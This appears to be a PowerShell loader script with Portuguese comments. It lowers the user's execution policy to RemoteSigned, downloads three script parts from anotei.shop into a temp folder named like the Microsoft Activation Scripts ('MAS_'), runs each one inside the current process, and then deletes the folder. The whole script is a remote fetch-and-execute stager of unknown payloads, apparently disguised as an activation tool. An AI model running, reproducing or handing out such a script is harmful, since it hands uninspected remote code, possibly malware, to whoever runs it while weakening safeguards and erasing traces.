$ErrorActionPreference = "Stop" [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 # Garantir que a execução de scripts esteja habilitada $executionPolicy = Get-ExecutionPolicy if ($executionPolicy -ne "RemoteSigned") { Write-Host "Alterando a política de execução para RemoteSigned..." Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force } # URLs das partes $partes = @( 'https://anotei.shop/x.ps1', 'https://anotei.shop/y.ps1', 'https://anotei.shop/z.ps1' ) # Pasta temporária $rand = [Guid]::NewGuid().Guid $TempFolder = "$env:TEMP\MAS_$rand" New-Item -Path $TempFolder -ItemType Directory -Force | Out-Null # Baixar e executar as partes no mesmo processo foreach ($url in $partes) { try { $nome = [IO.Path]::GetFileName($url) $destino = Join-Path $TempFolder $nome Write-Host "Baixando arquivo de $url para $destino..." Invoke-WebRequest -Uri $url -OutFile $destino -UseBasicParsing # Verificação de sucesso no download if (Test-Path $destino) { Write-Host "Arquivo baixado com sucesso: $url" # Executa no mesmo processo (mantém variáveis) . $destino } else { Write-Host "Erro ao baixar o arquivo de: $url" } } catch { Write-Host "Erro ao baixar ou executar: $url" Write-Host "Detalhes do erro: $_" } } # Limpeza Remove-Item -Path $TempFolder -Recurse -Force -ErrorAction SilentlyContinue